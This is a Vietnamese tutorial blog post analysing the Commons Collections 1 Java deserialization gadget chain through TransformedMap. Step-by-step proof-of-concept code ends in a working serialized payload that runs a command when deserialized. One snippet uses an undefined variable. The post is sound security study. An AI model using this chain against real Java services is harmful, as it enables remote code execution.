Phân tích chuỗi Commons Collections 1 với TransformedMap

  1. 1. Một vài khái niệm cần nắm
  2. 2. Phân tích
    1. 2.1. InvokerTransformer.transform
    2. 2.2. TransformedMap.checkSetValue
    3. 2.3. AbstractMapEntryDecorator.MapEntry
    4. 2.4. AnnotationInvocationHandler
    5. 2.5. Giải quyết vấn đề Runtime không thể serialize
    6. 2.6. ChainedTransformer
    7. 2.7. Giải quyết vấn đề câu lệnh if
    8. 2.8. Giải quyết vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy
  3. 3. Lời kết

Một vài khái niệm cần nắm

Trước tiên chúng ta cần hình dung lớp Runtime sẽ exec câu lệnh như nào, ở đây mình có sử dụng kiến thức reflection mà mình đã có bài viết về nó, các bạn có thể tham khảo thêm.

  • Lớp java.lang.reflect.Method có phương thức invoke, nó dùng để invoke method của object được truyền vào ở tham số đầu tiên, và với các tham số của method này là Object args (tham số lưu dưới dạng object).
    1
    2
    3
    public Object invoke(Object obj, Object... args)  throws IllegalAccessException,  
    IllegalArgumentException,
    InvocationTargetException
  • Trong lớp Runtime có phương thức exec dùng để exec câu lệnh trên system.
  • Bây giờ mình sẽ thực hiện invoke method exec của lớp runtime, vì nó là method private nên để sử dụng chúng ta cần setAccessible(“true”).
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    package org.example;

    import java.lang.reflect.*;

    public class runtime{
    public static void main(String[] args) throws Exception {
    Runtime runtime = Runtime.getRuntime();
    Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
    execMethod.setAccessible(true);
    execMethod.invoke(runtime, "calc");
    }
    }

Phân tích

Sơ đồ tóm tắt chuỗi.

InvokerTransformer.transform

Chain này bắt đầu từ lớp InvokerTransformer. Lớp này implements interface Transformer.

Hàm tạo của lớp InvokerTransformer:

  • Object[] args ở đây nhận một Object với kiểu String.
  • Class[] paramTypes nhận một Object của lớp Class

Trong trường structure tìm đến method transform trong class InvokerTransformer ta thấy:

  • Đầu tiên, nó thực hiện lấy class của object input là tham số của phương thức transform.
  • Tiếp theo nó thực hiện lấy phương thức với tên phương thức là tham số iMethodName của object của lớp InvokerTransformer, và iParamTypes là lớp đại diện cho kiểu tham số của phương thức này rồi gán vào object method có kiểu là Method.
    Sau đó nó thực hiện invoke method là iMethodName của của object input với tham số là iArgs.

Có nghĩa khi chúng ta thực hiện invoker.transform(object) nó sẽ tương đương với việc chúng ta thực hiện invoke() method chứa trong biến invoker của object. Vậy nên ở đây chúng ta có thể sử dụng lớp InvokerTransformer để thực hiện lệnh exec của lớp Runtime.

1
2
3
4
5
6
7
8
9
10
11
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
public static void main(String[] args) {
String[] cmd = new String[] {"calc"};
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, cmd);
invokerTransformer.transform(Runtime.getRuntime());
//Runtime.getRuntime() trả về một object của lớp Runtime
}
}

Tiếp theo chúng ta cần tìm lớp nào gọi đến phương thức transform của lớp InvokerTransformer.

Ctrl + Chuột trái click vào phương thức transform:

Phương thức này có nhiều lớp gọi đến, nhưng để có ảnh hưởng lead to CC1 chỉ có 2 lớp là TranformedMap và LazyMap. Bài viết này mình sẽ phân tích theo hướng TranformedMap. LazyMap mình sẽ phân tích sau. Cùng phân tích thôi nào~

TransformedMap.checkSetValue

Hàm này có 3 phương thức gọi đến method transform là checkSetValue, transformValuetransformKey. Tuy nhiên phương thức chúng ta cần đi vào là checkSetValue bởi vì nó được sử dụng ở những lớp khác và kéo theo một chuỗi gadget.

Phương thức checkSetValue:

Nhìn vào phương thức này chúng ta thấy khá tương đồng với đoạn code ngắn để exec calc với lớp InvokerTranformer rồi phải không.

Bây giờ chúng ta sẽ xem valueTransformer là gì:

valueTransformer là một object của lớp Transformer.

Hàm tạo này khai báo protected nên không thể tạo trực tiếp, chúng ta cần tìm phương thức trả về object của lớp này.

Trong lớp này có phương thức decorate return một object của TransformedMap, các tham số đầu vào tương ứng với các tham số của hàm tạo TransformedMap. Chúng ta sẽ dùng phương thức này để tạo gián tiếp một object của lớp TransformedMap.

valueTransformer là một object kiểu Transformer nên chúng ta có thể truyền vào một object kiểu InvokerTransformer vì thằng này implements Transformer. Phương thức checkSetValue là phương thức protected nên chúng ta cần dùng reflection để gọi đến phương thức này.

Chuỗi poc ngắn từ TranformedMap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.*;
import java.util.HashMap;

public class runtime{
public static void main(String[] args) throws Exception {
HashMap map = new HashMap<>();
String[] argsRuntime = new String[]{"calc"};
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, argsRuntime);
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
Method method = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(transformedMap, Runtime.getRuntime());
//tham số của checkSetValue sẽ được truyền bào phương thức transform nên chúng ta sẽ truyền vào Runtime.getRuntime() tương tự như invokerTransformer.transform(Runtime.getRuntime());
}
}

Đây chỉ là một POC nhỏ, chỉ để chỉ ra rằng lớp TransformedMap có thể kích hoạt được phương thức của lớp Runtime. Vấn đề của chúng ta bây giờ là cần tìm ai gọi đến method checkSetValue này.

AbstractMapEntryDecorator.MapEntry

Tiếp tục Ctrl + chuột trái click vào checkSetValue, ta thấy phương thức AbstractMapEntryDecorator.MapEntry.setValue() gọi đến checkSetValue.

  • Lớp AbstractMapEntryDecorator là abstract cha của lớp TransformedMap.
  • setValue là phương thức của lớp Map.Entry.

Trước tiên chúng ta cần hiểu entry là gì à cách nó được sử dụng trong Map. Các bạn có thể tham khảo ở đây.

Hàm setValue() sẽ thực hiện gán giá trị vào key. Với thư viện map, khi truy cập từng cặp khóa-giá trị (entry) này chúng ta sẽ dùng cách duyệt qua từng entry rồi thao tác với từng entry đó.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
public class testMapIterator {
public static void main(String[] args) {
HashMap<String,Object> hashMap = new HashMap<>();
hashMap.put("key1", "value1");
hashMap.put("key2", "value2");
hashMap.put("key3", "value3");
Set<Map.Entry<String, Object>> set = hashMap.entrySet();
System.out.println("Results: ");
for(Map.Entry<String, Object> entry : set) {
entry.setValue("aaa");
}
System.out.println(hashMap);
}
//Results:
//{key1=aaa, key2=aaa, key3=aaa}
}

Theo dõi hàm setValue:

Phương thức setValue của interface java.util.Map được implements bởi lớp AbstractMapEntryDecorator, tiếp đến phương thức setValue của lớp này được Override bởi phương thức setValue của lớp AbstractInputCheckedMapDecorator.MapEntry.

Khi duyệt map của lớp bằng AbstractInputCheckedMapDecorator.EntrySetIterator, phương thức next() return ra một AbstractInputCheckedMapDecorator.MapEntry.
Do đó chúng ta có thể gọi đến hàm setValue() của AbstractInputCheckedMapDecorator.MapEntry.

Lớp transformedMap implements lớp AbstractInputCheckedMapDecorator, do đó khi chúng ta decorate một map thành transformedMap và duyệt map bằng entrySet() kết hợp với iterator rồi thực hiện hàm setValue() của transformedMap, nó sẽ thực hiện hàm setValue của lớp AbstractInputCheckedMapDecorator.MapEntry, phương thức này sẽ gọi đến hàm checkSetValue(). Bạn nào mới học mà không hiểu thì đoạn Map.Entry entry : map.entrySet() là làm tắt bỏ bước define Iterator tuy nhiên nó cũng iterator bên trong đó nhé.

Tiếp tục viết poc từ phương thức này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args){
String[] cmd = new String[] {"calc"};
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, cmd);
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, invokerTransformer);
map.put(null, null);
for(Map.Entry entry : map.entrySet()){
entry.setValue(Runtime.getRuntime());//nếu bạn không hiểu dòng này thì nhìn lại hàm checkSetValue và POC trên kia.
}
}
}

Nó đã kích hoạt được lệnh exec của lớp Runtime. Bây giờ chúng ta sẽ tìm xem có phương thức readObject nào gọi phương thức setValue này không. Click chuột phải vào hàm setValue và chọn Find Usage. Ở đây mình không thể tìm được lớp nào bởi vì mình chưa decompile trực tiếp các file trong jdk8u65, khá nhiều thứ để làm nên thôi mình sẽ tiếp tục làm theo sơ đồ của người ta.

AnnotationInvocationHandler

Ctrl + N để tìm lớp AnnotationInvocationHandler, trong phương thức readObject của lớp này, chúng ta thấy có phương thức setValue được gọi.
Hàm tạo của lớp AnnotationInvocationHandler:

Hàm readObject của lớp AnnotationInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

Lớp AnnotationInvocationHandler có phạm vi default, nên chúng ta cần lấy lớp này và hàm tạo của nó thông qua reflection, sau đó khởi tạo nó. (stuck cũng lâu phết hic)

  • Constructor của lớp Non-public phải lấy bằng phương thức getDeclaredConstructor().
  • Tham số thứ nhất của hàm tạo là một lớp, tham số thứ hai là một map.

Một đoạn code nhỏ để test thử việc khởi tạo lớp AnnotationInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
public class testTransformedMap {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
String[] cmd = new String[] {"calc"};
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, cmd);
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(new HashMap<>(), null, invokerTransformer);
map.put("key", "value");
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihClassConstructor.setAccessible(true);
Object aihObject = aihClassConstructor.newInstance(Override.class, map);//Tham số đầu của constructor là lớp bất kỳ kế thừa Annotation, và Override.class là một lớp thõa mãn. Các bạn có thể tự tìm hiểu thêm về Annotation.
serialize(aihObject);
unserialize("ser.bin");
}
}

Đến đây vẫn chưa có gì xảy ra bởi vì:

  • Đối tượng Runtime chưa được đặt vào hàm setValue. Và ở đây nó được set là object kiểu AnnotationTypeMismatchExceptionProxy, chúng ta không thể kiểm soát được.
    1
    2
    3
    4
    5
    6
    if (var7 != null) {
    Object var8 = var5.getValue();
    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
    }
    }
  • Chúng ta chưa làm thõa mãn hai điều kiện dẫn đến hàm setValue trong AnnotationInvocationHandler.readObject.
  • Đối tượng Runtime không thể serialize và cần được chuyển đổi thành dạng có thể serialize thông qua reflection.

Giải quyết vấn đề Runtime không thể serialize

Để thõa mãn được điều kiện serialize, mọi thứ trong nó đều phải serialize được. Tuy nhiên Runtime không thể serialize được, vậy nên chúng ta cần dùng Runtime.class để lúc deser, nó sẽ tạo một đối tượng Runtime cho chúng ta.

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws Exception {
Class runtimeClass = Runtime.class;
Method method = runtimeClass.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null);//method getRuntime() không cần tham số
Method exec = runtimeClass.getDeclaredMethod("exec", String.class);
exec.invoke(runtime, "calc");
}
}

Thay vì invoke trực tiếp, chúng ta có thể lợi dụng lớp InvokerTransformer để invoke hàm getRuntime hay invoke method và invoke exec của lớp runtime. Mình sẽ đi từng bước cho các bạn dễ hiểu.
Đầu tiên là invoke method getDeclaredMethod để lấy ra method getRuntime.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws Exception {
Class runtimeClass = Runtime.class;
String[] cmd = new String[] {"calc"};
//Tương đương với Method getRuntimeMethod = runtimeClass.getDeclaredMethod("getRuntime");
InvokerTransformer InvokerGetMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Method getRuntimeMethod = (Method) InvokerGetMethod.transform(Runtime.class);
// Tương đương với Method method = runtimeClass.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) getMethod.invoke(null);
runtime.exec("calc");
}
}

Tiếp theo là invoke biến getRuntimeMethod để tạo Runtime object. Rồi thực hiện invoke method exec của object runtime mới tạo ra.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws Exception {
Class runtimeClass = Runtime.class;
//Tương đương với Method getRuntimeMethod = runtimeClass.getDeclaredMethod("getRuntime");
InvokerTransformer InvokerGetMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Method getRuntimeMethod = (Method) InvokerGetMethod.transform(Runtime.class);
//Tương đương với Runtime runtime = (Runtime) method.invoke(null);
InvokerTransformer InvokerRuntime = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Runtime runtime = (Runtime) InvokerRuntime.transform(getRuntimeMethod);
//Tương đương với exec.invoke(runtime, "calc");
InvokerTransformer InvokerExec = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
InvokerExec.transform(runtime);
}
}

Để ý ở phần trên chúng ta có các InvokerTransformer nối tiếp nhau, để thuận tiện hơn người ta đã có tạo ra một lớp là ChainedTransformer, nó cũng thực hiện như InvokerTransformer tuy nhiên điểm khác là nó sẽ thực thi theo một chuỗi gắn kết với nhau. Chúng ta sẽ lợi dụng hàm này để thực thi tương tự như trên.

ChainedTransformer

Viết tiếp chain theo ChainedTranformer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

Kết hợp với TransformedMap chúng ta có chuỗi hoàn chỉnh sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.reflect.*;
import java.util.*;
public class testTransformedMap {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
String[] cmd = new String[] {"calc"};
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Transformer[] transformers = {
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihClassConstructor.setAccessible(true);
Object aihObject = aihClassConstructor.newInstance(Override.class, map);
serialize(aihObject);
unserialize("ser.bin");
}
}

Giải quyết vấn đề câu lệnh if

Đến đây chúng ta vẫn chưa giải quyết vấn đề AnnotationInvocationHandler.readObject sử dụng hàm setValue. Đến đây các bạn nên debug để xử lý dễ dàng hơn nhé.

Đặt breakpoint ở dòng 339 và 341.

Chúng ta cần var7 là một giá trị không null.

  • Map var3 = var2.memberTypes(), var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạn Object aihObject = aihClassConstructor.newInstance(Override.class, map);.
  • var2 = AnnotationType.getInstance(this.type): var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạn Object aihObject = aihClassConstructor.newInstance(Override.class, map);
  • Code gốc khá là khó hiểu nên các bạn cứ hiểu đơn giản là trong AnnotationType có biến là memberTypes là một map với key là tên của biến trong Override.class mình cho vào, và value là kiểu của biến này. Ta gọi var2.memberTypes() sẽ trả về map này.
    Vậy là lỗi ở đây xảy ra do interface Override không có biến nào cả. Chúng ta cần tìm Annotation khác có biến, ở đây chúng ta có annotation Target có một biến. Và đặt lại giá trị trong map là key=valuevalue=bất kỳ:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    package org.example;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.io.*;
    import java.lang.annotation.Annotation;
    import java.lang.annotation.Target;
    import java.lang.reflect.*;
    import java.util.*;
    public class testTransformedMap {
    public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
    }
    public static void main(String[] args) throws Exception {
    String[] cmd = new String[] {"calc"};
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("value", "testtt");
    Transformer[] transformers = {
    new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
    Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
    aihClassConstructor.setAccessible(true);
    Object aihObject = aihClassConstructor.newInstance(Target.class, map);
    serialize(aihObject);
    unserialize("ser.bin");
    }
    }

Chúng ta đã vượt qua được if đầu tiên, và đồng thời if thứ 2 cũng đã vượt qua (không cần để ý đến vì toàn code gốc, đọc vào sẽ tốn thời gian của chúng ta thui à). Tuy nhiên vẫn chưa đủ để exec calc bởi vì chúng ta chưa xử lý vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy.

Giải quyết vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy

Đến đây mọi thứ được lập trình ra vẫn hỗ trợ cho chain của chúng ta :), lớp ConstantTransformer tương tự như InvokerTransformer tuy nhiên khi thực hiện transform, thằng ConstantTransformer sẽ trực tiếp return ra Object mình truyền vào ở hàm tạo chứ không phải Object truyền vào ở hàm Transform, Object này sẽ nối tiếp cho chuỗi sau.
Vậy là chúng ta có thể thực hiện x.Transform(new AnnotationTypeMismatchExceptionProxy....)

Từ đây chúng ta có chuỗi hoàn chỉnh sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.*;
public class testTransformedMap {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
String[] cmd = new String[] {"calc"};
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "test-value");
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihClassConstructor.setAccessible(true);
Object aihObject = aihClassConstructor.newInstance(Target.class, map);
serialize(aihObject);
unserialize("ser.bin");
}
}

Chạy file và máy tính đã bật lên…

Lời kết

Và đến đây là mình đã hoàn thành chain Commons Collections 1 theo hướng TransformedMap, là chain đầu tiên mình làm và bước chân vào con đường Java Security.
Thật sự, khi đọc mã nguồn từ nhà phát hành và tìm hiểu cách các master OOP sử dụng các thư viện, mình nhận thấy rất nhiều kiến thức mình chưa có. Tuy nhiên, nhờ đó, mình đã học được nhiều kiến thức mới về Java OOP.
Hy vọng các bạn nào mới bước chân vào Java Security như mình hãy cố gắng nghiên cứu, đọc hiểu từ từ để có thể hiểu một cách rõ nhất về cái đẹp của Java OOP. Thực sự rất khó cho người mới học nên hy vọng các bạn có thể vượt qua ^^.

Chúc các bạn học tốt~